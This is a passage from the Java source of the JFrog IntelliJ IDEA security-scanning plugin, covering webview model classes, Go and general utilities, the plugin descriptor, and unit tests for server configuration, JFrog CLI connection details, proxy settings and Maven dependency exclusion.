= severity; return this; } @SuppressWarnings("unused") public Finding getFinding() { return finding; } public IssuePage finding(Finding finding) { this.finding = finding; return this; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/JfrogResearchSeverityReason.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class JfrogResearchSeverityReason { private final String name; private final String description; private final boolean isPositive; public JfrogResearchSeverityReason(String name, String description, boolean isPositive) { this.name = name; this.description = description; this.isPositive = isPositive; } @SuppressWarnings("unused") public String getName() { return name; } @SuppressWarnings("unused") public String getDescription() { return description; } @SuppressWarnings("unused") public boolean getIsPositive() { return isPositive; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/License.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class License { private final String name; private final String link; public License(String name, String link) { this.name = name; this.link = link; } @SuppressWarnings("unused") public String getName() { return name; } @SuppressWarnings("unused") public String getLink() { return link; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/Location.java ================================================ package com.jfrog.ide.idea.ui.webview.model; import java.io.Serializable; public class Location implements Serializable { private String file; private String fileName; private String snippet; private int startRow; private int startColumn; private int endRow; private int endColumn; public Location() { this.file = ""; this.fileName = ""; this.snippet = ""; this.startRow = 0; this.startColumn = 0; this.endRow = 0; this.endColumn = 0; } public Location(String file, String fileName, int startRow, int startColumn, int endRow, int endColumn, String snippet) { this.file = file; this.fileName = fileName; this.snippet = snippet; this.startRow = startRow; this.startColumn = startColumn; this.endRow = endRow; this.endColumn = endColumn; } public Location(Location other) { this(other.file, other.fileName, other.startRow, other.startColumn, other.endRow, other.endColumn, other.snippet); } @SuppressWarnings("unused") public String getFile() { return file; } @SuppressWarnings("unused") public String getFileName() { return fileName; } @SuppressWarnings("unused") public String getSnippet() { return snippet; } public int getStartRow() { return startRow; } public int getStartColumn() { return startColumn; } public int getEndRow() { return endRow; } public int getEndColumn() { return endColumn; } public void setSnippet(String snippet) { this.snippet = snippet; } public void setFile(String file) { this.file = file; } public void setFileName(String fileName) { this.fileName = fileName; } public void setStartRow(int startRow) { this.startRow = startRow; } public void setStartColumn(int startColumn) { this.startColumn = startColumn; } public void setEndRow(int endRow) { this.endRow = endRow; } public void setEndColumn(int endColumn) { this.endColumn = endColumn; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/Reference.java ================================================ package com.jfrog.ide.idea.ui.webview.model; public class Reference { private final String url; private final String text; public Reference(String url, String text) { this.url = url; this.text = text; } @SuppressWarnings("unused") public String getUrl() { return url; } @SuppressWarnings("unused") public String getText() { return text; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/webview/model/SastIssuePage.java ================================================ package com.jfrog.ide.idea.ui.webview.model; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; @Getter public class SastIssuePage extends IssuePage { @JsonProperty("analysisStep") private Location[] analysisSteps; private String ruleId; @SuppressWarnings("unused") public SastIssuePage() { } public SastIssuePage(IssuePage issuePage) { super(issuePage); } public SastIssuePage setAnalysisSteps(Location[] analysisSteps) { this.analysisSteps = analysisSteps; return this; } public SastIssuePage setRuleID(String ruleID) { this.ruleId = ruleID; return this; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/utils/Descriptor.java ================================================ package com.jfrog.ide.idea.utils; import org.apache.commons.lang3.StringUtils; /** * Represents all supported file descriptor types. */ public enum Descriptor { MAVEN("pom.xml"), GRADLE_KOTLIN("build.gradle.kts"), GRADLE_GROOVY("build.gradle"), NPM("package.json"), GO("go.mod"); private final String fileName; Descriptor(String fileName) { this.fileName = fileName; } public static Descriptor fromFileName(String fileName) { for (Descriptor descriptor : Descriptor.values()) { if (StringUtils.equals(descriptor.getFileName(), fileName)) { return descriptor; } } return null; } public String getFileName() { return fileName; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/utils/GoUtils.java ================================================ package com.jfrog.ide.idea.utils; import com.goide.GoConstants; import com.goide.sdk.GoSdkUtil; import com.goide.vgo.configuration.VgoProjectSettings; import com.google.common.collect.Lists; import com.intellij.openapi.project.Project; import org.apache.commons.lang3.StringUtils; import java.io.File; import java.nio.file.Paths; import java.util.List; import java.util.Map; /** * @author yahavi **/ public class GoUtils { private static final List GO_RELEVANT_ENV = Lists.newArrayList("GOPROXY", "GONOPROXY", "GOPRIVATE", "GOSUMDB"); /** * Retrieve and set "GO_PATH", "GOPROXY", "GOPRIVATE", "GONOPROXY", "GOSUMDB" from the Go plugin configuration. * Extract and return the Go executable path. * * @param env - The environment variables map * @param project - Intellij project * @return Go executable path or null. * @throws NoClassDefFoundError if the Go plugin is not installed. */ public static String getGoExeAndSetEnv(Map env, Project project) throws NoClassDefFoundError { String goPath = GoSdkUtil.retrieveGoPath(project, null); if (StringUtils.isNotBlank(goPath)) { env.put(GoConstants.GO_PATH, goPath); } Map currentConfiguration = VgoProjectSettings.getInstance(project).getEnvironment(); GO_RELEVANT_ENV.forEach(envKey -> { String envValue = currentConfiguration.get(envKey); if (StringUtils.isNotBlank(envValue)) { env.put(envKey, envValue); } }); String goExecutablePath = GoSdkUtil.retrieveEnvironmentPathForGo(project, null); if (StringUtils.isNotBlank(goExecutablePath)) { // The returned value may contain more than one path, seperated by ':' or ';' goExecutablePath = StringUtils.substringBefore(goExecutablePath, File.pathSeparator); return Paths.get(goExecutablePath, "go").toString(); } return null; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/utils/Utils.java ================================================ package com.jfrog.ide.idea.utils; import com.intellij.ide.plugins.IdeaPluginDescriptor; import com.intellij.ide.plugins.PluginManagerCore; import com.intellij.openapi.extensions.PluginId; import com.intellij.openapi.project.Project; import com.intellij.openapi.wm.ToolWindow; import com.intellij.openapi.wm.ToolWindowManager; import com.jfrog.ide.common.utils.usage.EcosystemUsageReporter; import com.jfrog.ide.common.utils.usage.UsageReport; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.configuration.ServerConfigImpl; import com.jfrog.ide.idea.log.Logger; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.ObjectUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.GeneralInfo; import org.jfrog.build.extractor.usageReport.ClientIdUsageReporter; import java.io.IOException; import java.net.MalformedURLException; import java.net.URISyntaxException; import java.net.URL; import java.nio.file.*; import java.nio.file.attribute.BasicFileAttributes; import java.security.KeyManagementException; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.util.Collections; import static com.jfrog.ide.common.utils.Utils.createSSLContext; import static com.jfrog.ide.common.utils.Utils.resolveArtifactoryUrl; /** * Created by romang on 5/8/17. */ public class Utils { public static final Path HOME_PATH = Paths.get(System.getProperty("user.home"), ".jfrog-idea-plugin"); public static final String PRODUCT_ID = "jfrog-idea-plugin"; public static final String PLUGIN_ID = "org.jfrog.idea"; public static Path getProjectBasePath(Project project) { return project.getBasePath() != null ? Paths.get(project.getBasePath()) : Paths.get("."); } public static boolean areRootNodesEqual(DependencyTree lhs, DependencyTree rhs) { GeneralInfo lhsGeneralInfo = lhs.getGeneralInfo(); GeneralInfo rhsGeneralInfo = rhs.getGeneralInfo(); return ObjectUtils.allNotNull(lhsGeneralInfo, rhsGeneralInfo) && StringUtils.equals(lhsGeneralInfo.getPath(), rhsGeneralInfo.getPath()) && StringUtils.equals(lhsGeneralInfo.getPkgType(), rhsGeneralInfo.getPkgType()); } public static void focusJFrogToolWindow(Project project) { ToolWindow toolWindow = ToolWindowManager.getInstance(project).getToolWindow("JFrog"); if (toolWindow != null) { toolWindow.activate(null); } } public static void sendUsageReport(String techName) { ServerConfigImpl serverConfig = GlobalSettings.getInstance().getServerConfig(); Logger log = Logger.getInstance(); if (!serverConfig.isArtifactoryConfigured()) { log.debug("Usage report can't be sent. Artifactory is not configured."); return; } String[] featureIdArray = new String[]{techName}; IdeaPluginDescriptor jfrogPlugin = PluginManagerCore.getPlugin(PluginId.getId(PLUGIN_ID)); if (jfrogPlugin == null) { // In case we can't find the plugin version, do not send usage report. log.debug("Usage report can't be sent. Unknown plugin version."); return; } String pluginVersion = jfrogPlugin.getVersion(); ClientIdUsageReporter artifactoryUsageReporter = new ClientIdUsageReporter(PRODUCT_ID + "/" + pluginVersion, featureIdArray, log); EcosystemUsageReporter ecosystemUsageReporter = new EcosystemUsageReporter(log); String artifactoryUrl = resolveArtifactoryUrl(serverConfig.getArtifactoryUrl(), serverConfig.getUrl()); try { artifactoryUsageReporter.reportUsage(artifactoryUrl, serverConfig.getUsername(), serverConfig.getPassword(), serverConfig.getAccessToken(), serverConfig.getProxyConfForTargetUrl(artifactoryUrl), createSSLContext(serverConfig), log); ecosystemUsageReporter.reportUsage(new UsageReport(PRODUCT_ID, new String(DigestUtils.md5(serverConfig.getXrayUrl())), artifactoryUsageReporter.getUniqueClientId(), featureIdArray), createSSLContext(serverConfig)); } catch (IOException | RuntimeException | NoSuchAlgorithmException | KeyStoreException | KeyManagementException e) { log.debug("Usage report failed: " + ExceptionUtils.getRootCauseMessage(e)); } log.debug("Usage report sent successfully."); } /** * Return true if the input URL is valid. * * @param urlStr - The URL to check * @return true if the input URL is valid. */ public static boolean isValidUrl(String urlStr) { try { new URL(urlStr).toURI(); return true; } catch (URISyntaxException | MalformedURLException e) { return false; } } /** * Walk on each file in the resource path and copy files recursively to the target directory. * * @param resourceName - Abs path in resources begins with '/' * @param targetDir - Destination directory * @throws URISyntaxException in case of error in converting the URL to URI. * @throws IOException in case of any unexpected I/O error. */ public static void extractFromResources(String resourceName, Path targetDir) throws URISyntaxException, IOException { URL resource = Utils.class.getResource(resourceName); if (resource == null) { throw new IOException("Resource '" + resourceName + "' was not found"); } try (FileSystem fileSystem = FileSystems.newFileSystem(resource.toURI(), Collections.emptyMap())) { Path jarPath = fileSystem.getPath(resourceName); Files.walkFileTree(jarPath, new SimpleFileVisitor<>() { @Override public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) throws IOException { Files.createDirectories(targetDir.resolve(jarPath.relativize(dir).toString())); return FileVisitResult.CONTINUE; } @Override public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException { Files.copy(file, targetDir.resolve(jarPath.relativize(file).toString()), StandardCopyOption.REPLACE_EXISTING); return FileVisitResult.CONTINUE; } }); } } } ================================================ FILE: src/main/resources/META-INF/plugin.xml ================================================ org.jfrog.idea JFrog JFrog The plugin allows developers to find and fix security vulnerabilities in their projects and to see valuable information about the status of their code by continuously scanning it locally with the JFrog Platform.

Software Composition Analysis (SCA)

Scan your project dependencies for security issues. The plugin offers an automatic upgrade of the vulnerable dependencies to versions which include fixes.

CVE Research and Enrichment

For selected security issues, get leverage-enhanced CVE data that is provided by our JFrog Security Research team. Prioritize the CVEs based on:

  • JFrog Severity: The severity given by the JFrog Security Research team after the manual analysis of the CVE by the team. CVEs with the highest JFrog security severity are the most likely to be used by real-world attackers. This means that you should put effort into fixing them as soon as possible.
  • Research Summary: The summary that is based on JFrog's security analysis of the security issue provides detailed technical information on the specific conditions for the CVE to be applicable.
  • Remediation: Detailed fix and mitigation options for the CVEs.

Check out what our research team is up to and stay updated on newly discovered issues by clicking on this link: https://research.jfrog.com

Advanced Scans

Vulnerability Contextual Analysis: This feature uses the code context to eliminate false positive reports on vulnerable dependencies that are not applicable to the code. Vulnerability Contextual Analysis is currently supported for Python, JavaScript, and Java code.

Secrets Detection: Prevent the expose of keys or credentials that are stored in your source code.

Infrastructure as Code (IaC) Scans: Secure your IaC files. Critical to keeping your cloud deployment safe and secure.


Advanced Scans require Xray version 3.66.5 or above and Enterprise X / Enterprise+ subscription with Advanced DevSecOps.

For more information about the plugin see the README.

]]>
Release Notes page. ]]> com.intellij.modules.lang com.intellij.modules.json com.intellij.gradle org.intellij.groovy org.jetbrains.kotlin org.jetbrains.idea.maven org.jetbrains.plugins.go com.intellij.modules.python PythonCore
================================================ FILE: src/main/resources/META-INF/with-go.xml ================================================ com.intellij.modules.platform ================================================ FILE: src/main/resources/META-INF/with-gradle.xml ================================================ ================================================ FILE: src/main/resources/META-INF/with-groovy.xml ================================================ ================================================ FILE: src/main/resources/META-INF/with-kotlin.xml ================================================ ================================================ FILE: src/main/resources/META-INF/with-maven.xml ================================================ ================================================ FILE: src/main/resources/META-INF/with-python-ce.xml ================================================ com.intellij.modules.platform com.intellij.modules.python-core-capable ================================================ FILE: src/main/resources/META-INF/with-python.xml ================================================ com.intellij.modules.platform com.intellij.modules.python-pro-capable ================================================ FILE: src/test/java/com/jfrog/ide/idea/ProgressIndicatorMock.java ================================================ package com.jfrog.ide.idea; public class ProgressIndicatorMock implements com.jfrog.ide.common.log.ProgressIndicator { @Override public void setFraction(double fraction) { } @Override public void setIndeterminate(boolean indeterminate) { } @Override public void setText(String title) { } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/TestUtils.java ================================================ package com.jfrog.ide.idea; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.deptree.DepTreeNode; import org.junit.Assert; /** * Created by Bar Belity on 11/06/2020. */ public class TestUtils { public static PsiElement getNonLeafElement(PsiFile fileDescriptor, Class psiClass, int position) { PsiElement element = fileDescriptor.findElementAt(position); Assert.assertNotNull(element); while (!(psiClass.isAssignableFrom(element.getClass()))) { element = element.getParent(); Assert.assertNotNull(element); } return element; } /** * Get the dependency tree child. Fail the test if it doesn't exist. * * @param depTree - The dependency tree * @param childName - The child name to search * @return the dependency tree child. */ public static DepTreeNode getAndAssertChild(DepTree depTree, DepTreeNode parent, String childName) { Assert.assertTrue(parent.getChildren().contains(childName)); DepTreeNode childNode = depTree.nodes().get(childName); Assert.assertNotNull("Couldn't find node '" + childName + "'.", childNode); return childNode; } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/configuration/ConfigurationTest.java ================================================ package com.jfrog.ide.idea.configuration; import com.intellij.credentialStore.Credentials; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; import com.intellij.util.EnvironmentUtil; import org.mockito.MockedStatic; import org.mockito.Mockito; import static com.jfrog.ide.idea.configuration.ServerConfigImpl.*; /** * @author yahavi **/ public class ConfigurationTest extends LightJavaCodeInsightFixtureTestCase { private static final String JFROG_SETTINGS_CREDENTIALS_KEY = "com.jfrog.ideaTest"; private static final String ARTIFACTORY_URL = "https://steve.jfrog.io/artifactory"; private static final String XRAY_URL = "https://steve.jfrog.io/xray"; private static final String PLATFORM_URL = "https://steve.jfrog.io"; private static final String EXCLUDED_PATHS = "**/*{ares}*"; private static final String JFROG_PROJECT = "ideaTest"; private static final int CONNECTION_TIMEOUT = 70; private static final int CONNECTION_RETRIES = 5; private static final String EXTERNAL_RESOURCES_REPO = "releases"; private static final String PASSWORD = "prince"; private static final String USERNAME = "diana"; private static final String WATCH = "heimdall"; @Override protected void setUp() throws Exception { super.setUp(); cleanUp(); } @Override protected void tearDown() throws Exception { cleanUp(); super.tearDown(); } /** * Test credentials storage. */ public void testStoreCredentials() { ServerConfigImpl serverConfig = createServerConfig(true, true, true); // Add credentials serverConfig.addCredentialsToPasswordSafe(); // Check credentials Credentials credentials = serverConfig.getCredentialsFromPasswordSafe(); assertNotNull(credentials); assertEquals(USERNAME, credentials.getUserName()); assertEquals(PASSWORD, credentials.getPasswordAsString()); // Remove credentials serverConfig.removeCredentialsFromPasswordSafe(); assertNull(serverConfig.getCredentialsFromPasswordSafe()); } /** * Test set server config in the GlobalSettings. */ public void testSetServerConfig() { // Create overriding server config GlobalSettings globalSettings = new GlobalSettings(); ServerConfigImpl overrideServerConfig = createServerConfig(true, true, true); // Save credentials in the PasswordSafe and delete credentials from the overriding server. // We do this to simulate GlobalSettings load from file. overrideServerConfig.addCredentialsToPasswordSafe(); overrideServerConfig.setUsername(""); overrideServerConfig.setPassword(""); globalSettings.setServerConfig(overrideServerConfig); // Check that the server in the global settings was overridden. ServerConfigImpl actualServerConfig = globalSettings.getServerConfig(); assertEquals(PLATFORM_URL, actualServerConfig.getUrl()); assertEquals(XRAY_URL, actualServerConfig.getXrayUrl()); assertEquals(ARTIFACTORY_URL, actualServerConfig.getArtifactoryUrl()); assertEquals(USERNAME, actualServerConfig.getUsername()); assertEquals(PASSWORD, actualServerConfig.getPassword()); assertEquals(CONNECTION_RETRIES, actualServerConfig.getConnectionRetries()); assertEquals(CONNECTION_TIMEOUT, actualServerConfig.getConnectionTimeout()); assertEquals(EXTERNAL_RESOURCES_REPO, actualServerConfig.getExternalResourcesRepo()); assertEquals(EXCLUDED_PATHS, actualServerConfig.getExcludedPaths()); assertEquals(JFROG_PROJECT, actualServerConfig.getProject()); assertEquals(WATCH, actualServerConfig.getWatches()); } /** * Test policy types in the GlobalSettings. */ public void testPolicyType() { GlobalSettings globalSettings = new GlobalSettings(); // Check "vulnerabilities" policy type ServerConfigImpl serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.VULNERABILITIES).build(); globalSettings.setServerConfig(serverConfig); ServerConfigImpl actualServerConfig = globalSettings.getServerConfig(); assertEquals(PolicyType.VULNERABILITIES, actualServerConfig.getPolicyType()); // Check "project" policy type serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.PROJECT).build(); globalSettings.setServerConfig(serverConfig); actualServerConfig = globalSettings.getServerConfig(); assertEquals(PolicyType.PROJECT, actualServerConfig.getPolicyType()); // Check "watch" policy type serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.WATCHES).build(); globalSettings.setServerConfig(serverConfig); actualServerConfig = globalSettings.getServerConfig(); assertEquals(PolicyType.WATCHES, actualServerConfig.getPolicyType()); } /** * Test set server config from environment variables. */ public void testSetServerConfigFromEnv() { try (MockedStatic mockController = Mockito.mockStatic(EnvironmentUtil.class)) { mockController.when(() -> EnvironmentUtil.getValue(PLATFORM_URL_ENV)).thenReturn("https://tython.jfrog.io"); mockController.when(() -> EnvironmentUtil.getValue(XRAY_URL_ENV)).thenReturn("https://tython.jfrog.io/xray"); mockController.when(() -> EnvironmentUtil.getValue(ARTIFACTORY_URL_ENV)).thenReturn("https://tython.jfrog.io/artifactory"); mockController.when(() -> EnvironmentUtil.getValue(USERNAME_ENV)).thenReturn("leia"); mockController.when(() -> EnvironmentUtil.getValue(PASSWORD_ENV)).thenReturn("princess"); mockController.when(() -> EnvironmentUtil.getValue(PROJECT_ENV)).thenReturn("x"); // Create overriding server config GlobalSettings globalSettings = new GlobalSettings(); ServerConfigImpl overrideServerConfig = createServerConfig(false, false, false); // Check that the server in the global settings was overridden by the environment variables globalSettings.setServerConfig(overrideServerConfig); ServerConfigImpl actualServerConfig = globalSettings.getServerConfig(); assertFalse(actualServerConfig.isXrayConfigured()); assertFalse(actualServerConfig.isArtifactoryConfigured()); actualServerConfig.readConnectionDetailsFromEnv(); assertTrue(actualServerConfig.isXrayConfigured()); assertTrue(actualServerConfig.isArtifactoryConfigured()); assertEquals("https://tython.jfrog.io", actualServerConfig.getUrl()); assertEquals("https://tython.jfrog.io/xray", actualServerConfig.getXrayUrl()); assertEquals("https://tython.jfrog.io/artifactory", actualServerConfig.getArtifactoryUrl()); assertEquals("leia", actualServerConfig.getUsername()); assertEquals("princess", actualServerConfig.getPassword()); assertEquals("x", actualServerConfig.getProject()); assertEquals(CONNECTION_RETRIES, actualServerConfig.getConnectionRetries()); assertEquals(CONNECTION_TIMEOUT, actualServerConfig.getConnectionTimeout()); assertEquals(EXCLUDED_PATHS, actualServerConfig.getExcludedPaths()); assertEquals(WATCH, actualServerConfig.getWatches()); } } public void testReadMissingConfFromEnv() { try (MockedStatic mockController = Mockito.mockStatic(EnvironmentUtil.class)) { mockController.when(() -> EnvironmentUtil.getValue(EXTERNAL_RESOURCES_REPO_ENV)).thenReturn("releases-test"); // Create overriding server config GlobalSettings globalSettings = new GlobalSettings(); ServerConfigImpl overrideServerConfig = createServerConfig(true, true, false); globalSettings.setServerConfig(overrideServerConfig); // Check that the external resources repository field was overridden ServerConfigImpl actualServerConfig = globalSettings.getServerConfig(); actualServerConfig.readMissingConfFromEnv(); assertEquals("releases-test", actualServerConfig.getExternalResourcesRepo()); } } /** * Create server config for the tests. * * @param xrayUrl - True if should set Xray URL * @param artifactoryUrl - True if should set Artifactory URL * @return server config */ ServerConfigImpl createServerConfig(boolean xrayUrl, boolean artifactoryUrl, boolean externalResourcesRepo) { return new ServerConfigImpl.Builder() .setJFrogSettingsCredentialsKey(JFROG_SETTINGS_CREDENTIALS_KEY) .setUrl(PLATFORM_URL) .setXrayUrl(xrayUrl ? XRAY_URL : "") .setArtifactoryUrl(artifactoryUrl ? ARTIFACTORY_URL : "") .setUsername(USERNAME) .setPassword(PASSWORD) .setConnectionRetries(CONNECTION_RETRIES) .setConnectionTimeout(CONNECTION_TIMEOUT) .setExternalResourcesRepo(externalResourcesRepo ? EXTERNAL_RESOURCES_REPO : null) .setExcludedPaths(EXCLUDED_PATHS) .setProject(JFROG_PROJECT) .setWatches(WATCH) .build(); } /** * Clean up PasswordSafe. */ private void cleanUp() { createServerConfig(true, true, true).removeCredentialsFromPasswordSafe(); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/configuration/ConnectionDetailsFromCliTest.java ================================================ package com.jfrog.ide.idea.configuration; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.configuration.JfrogCliDriver; import org.apache.commons.io.FileUtils; import org.gradle.internal.impldep.org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.mockito.MockedStatic; import org.mockito.Mockito; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.util.*; import static org.junit.Assert.assertEquals; /** * @author yahavi **/ @RunWith(Parameterized.class) public class ConnectionDetailsFromCliTest { private final String[] cliParameters; private final Exception expectedException; private final boolean shouldSuccess; public ConnectionDetailsFromCliTest(String[] cliParameters, Exception expectedException, boolean shouldSuccess) { this.cliParameters = cliParameters; this.expectedException = expectedException; this.shouldSuccess = shouldSuccess; } @Parameterized.Parameters public static Collection dataProvider() { return Arrays.asList(new Object[][]{ // No JFrog CLI config {null, new IOException("'jfrog config export' command failed. That might be happen if you haven't config any CLI server yet or using the config encryption feature."), false}, // URLs without credentials {new String[]{"c", "add", "--xray-url=http://127.0.0.1"}, null, false}, {new String[]{"c", "add", "--artifactory-url=http://127.0.0.1"}, null, false}, // Credentials without URLs {new String[]{"c", "add", "--user=admin"}, null, false}, {new String[]{"c", "add", "--user=admin", "--password=password"}, null, false}, {new String[]{"c", "add", "--access-token=123"}, null, false}, // Partial URLs {new String[]{"c", "add", "--artifactory-url=http://127.0.0.1:8081/artifactory", "--user=admin", "--password=password", "--enc-password=false"}, null, false}, {new String[]{"c", "add", "--xray-url=http://127.0.0.1:8081/xray", "--user=admin", "--password=password", "--enc-password=false"}, null, false}, // Positive tests {new String[]{"c", "add", "--url=http://127.0.0.1:8081", "--user=admin", "--password=password", "--enc-password=false"}, null, true}, {new String[]{"c", "add", "--url=http://127.0.0.1:8081", "--access-token=123"}, null, true}, }); } @Test public void testReadConnectionDetailsFromJfrogCli() throws IOException, InterruptedException { Path jfrogCliHome = Files.createTempDirectory("testReadConnectionDetailsFromJfrogCli"); try (MockedStatic mockController = Mockito.mockStatic(EnvironmentUtil.class)) { // Set environment variables Map envVars = new HashMap<>(System.getenv()) {{ put("JFROG_CLI_HOME_DIR", jfrogCliHome.toAbsolutePath().toString()); put("CI", "true"); }}; mockController.when(EnvironmentUtil::getEnvironmentMap).thenReturn(envVars); // Config JFrog CLI if (cliParameters != null) { JfrogCliDriver jfrogCliDriver = new JfrogCliDriver(envVars, null); jfrogCliDriver.runCommand(null, envVars, cliParameters, new ArrayList<>(), null, null); } // Check results ServerConfigImpl serverConfig = new ServerConfigImpl(); if (expectedException != null) { Assert.assertThrows(expectedException.getMessage(), expectedException.getClass(), serverConfig::readConnectionDetailsFromJfrogCli); } else { assertEquals(shouldSuccess, serverConfig.readConnectionDetailsFromJfrogCli()); } } finally { FileUtils.forceDelete(jfrogCliHome.toFile()); } } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/configuration/GetProxyConfForTargetUrlTest.java ================================================ package com.jfrog.ide.idea.configuration; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; import com.intellij.util.net.HttpConfigurable; import com.jfrog.ide.common.configuration.ServerConfig; import org.jfrog.build.client.ProxyConfiguration; import java.io.File; import java.net.PasswordAuthentication; import java.net.URL; /** * @author yahavi */ public class GetProxyConfForTargetUrlTest extends LightJavaCodeInsightFixtureTestCase { private final ServerConfig serverConfig = new ServerConfigImpl(); private HttpConfigurable httpConfigurable; @Override public void setUp() throws Exception { super.setUp(); // Disable all proxies httpConfigurable = HttpConfigurable.getInstance(); httpConfigurable.USE_HTTP_PROXY = false; httpConfigurable.USE_PROXY_PAC = false; // Set PAC URL URL pacUrl = getClass().getClassLoader().getResource("proxy/proxy.pac"); assertNotNull(pacUrl); File pacFile = new File(pacUrl.getFile()); httpConfigurable.PAC_URL = pacFile.getAbsolutePath(); httpConfigurable.USE_PAC_URL = true; } /** * Check that we get null proxy configuration if proxy is not defined. */ public void testProxyNotConfigured() { ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl("https://1.2.3.4"); assertNull(proxyConfig); } /** * Check manual proxy configuration. */ public void testManuallyConfiguredProxy() { // Set manual proxy configuration httpConfigurable.USE_HTTP_PROXY = true; httpConfigurable.PROXY_HOST = "proxyHost.org"; httpConfigurable.PROXY_PORT = 8888; httpConfigurable.PROXY_AUTHENTICATION = true; httpConfigurable.setProxyLogin("admin"); httpConfigurable.setPlainProxyPassword("password"); // Get proxy config for https://1.2.3.4 ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl("https://1.2.3.4"); assertNotNull(proxyConfig); // Check proxy config assertEquals("proxyHost.org", proxyConfig.host); assertEquals(8888, proxyConfig.port); assertEquals("admin", proxyConfig.username); assertEquals("password", proxyConfig.password); } /** * Test proxy configuration using PAC file. * The PAC file is configured to return "proxyPacHost.org:8888" for "https://1.2.3.4" URL. */ public void testPacConfiguredProxy() { // Set PAC proxy configuration httpConfigurable.USE_PROXY_PAC = true; PasswordAuthentication passwordAuthentication = new PasswordAuthentication("admin", "password".toCharArray()); httpConfigurable.putGenericPassword("proxyPacHost.org", 8888, passwordAuthentication, true); // Get proxy config for https://1.2.3.4 ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl("https://1.2.3.4"); assertNotNull(proxyConfig); // Check proxy config assertEquals("proxyPacHost.org", proxyConfig.host); assertEquals(8888, proxyConfig.port); assertEquals("admin", proxyConfig.username); assertEquals("password", proxyConfig.password); } /** * Test proxy configuration using PAC file. * The PAC file is configured to return "DIRECT" for "https://1.2.3.5" URL. */ public void testPacConfiguredNoProxy() { // Set PAC proxy configuration httpConfigurable.USE_PROXY_PAC = true; // Assert no proxy config for https://1.2.3.5 ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl("https://1.2.3.5"); assertNull(proxyConfig); } } ================================================ FILE: src/test/java/com/jfrog/ide/idea/exclusion/MavenExclusionTest.java ================================================ package com.jfrog.ide.idea.exclusion; import com.intellij.openapi.command.WriteCommandAction; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.psi.xml.XmlFile; import com.intellij.psi.xml.XmlTag; import com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase; import com.jfrog.ide.idea.TestUtils; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.GeneralInfo; import org.junit.Assert; import static com.jfrog.ide.common.utils.Utils.createComponentId; /** * Created by Bar Belity on 10/06/2020. */ public class MavenExclusionTest extends LightJavaCodeInsightFixtureTestCase { PsiFile fileDescriptor; DependencyTree root, one, two, three, four, five; @Override public void setUp() throws Exception { super.setUp(); initTestingTree(); fileDescriptor = myFixture.configureByFile("pom.xml"); } @Override protected String getTestDataPath() { return "src/test/resources/exclusion"; } private void initTestingTree() { root = new DependencyTree("node-root"); one = createDependencyTreeNode("1", "maven"); two = createDependencyTreeNode("2", "gradle"); three = createDependencyTreeNode("3", "maven"); four = createDependencyTreeNode("4", "maven"); five = createDependencyTreeNode("5", "maven"); root.add(one); // root -> 1 root.add(two); // root -> 2 one.add(three); // 1 -> 3 two.add(four); // 2 -> 4 four.add(five); // 4 -> 5 } public void testIsMavenPackageType() { Assert.assertTrue("isMavenPackageType should be true on " + one, MavenExclusion.isMavenPackageType(one)); Assert.assertTrue("isMavenPackageType should be true on " + five, MavenExclusion.isMavenPackageType(five)); Assert.assertFalse("isMavenPackageType should be false on " + two, MavenExclusion.isMavenPackageType(two)); Assert.assertFalse("isMavenPackageType should be false on " + root.toString(), MavenExclusion.isMavenPackageType(root)); Assert.assertFalse("isMavenPackageType should be false on " + root.getParent(), MavenExclusion.isMavenPackageType((DependencyTree) root.getParent())); Assert.assertFalse("isMavenPackageType should be false on " + one.getParent(), MavenExclusion.isMavenPackageType((DependencyTree) one.getParent())); } public void testIsExcludable() { Assert.assertTrue("isExcludable should be true on " + three + " and " + one, MavenExclusion.isExcludable(three, one)); Assert.assertFalse("isExcludable should be false on " + five + " and " + two, MavenExclusion.isExcludable(five, two)); Assert.assertFalse("isExcludable should be false on " + one + " and " + one, MavenExclusion.isExcludable(two, two)); } public void testExclusionExists() { ExclusionTestCase existingExclusion = new ExclusionTestCase(696, "group-id-3", "artifact-id-3"); ExclusionTestCase nonExistingExclusion = new ExclusionTestCase(696, "group-id-4", "artifact-id-4"); // Test exclusions of dependency 'group-id-2', 'artifact-id-2'. MavenExclusion exclusion = new MavenExclusion(null, 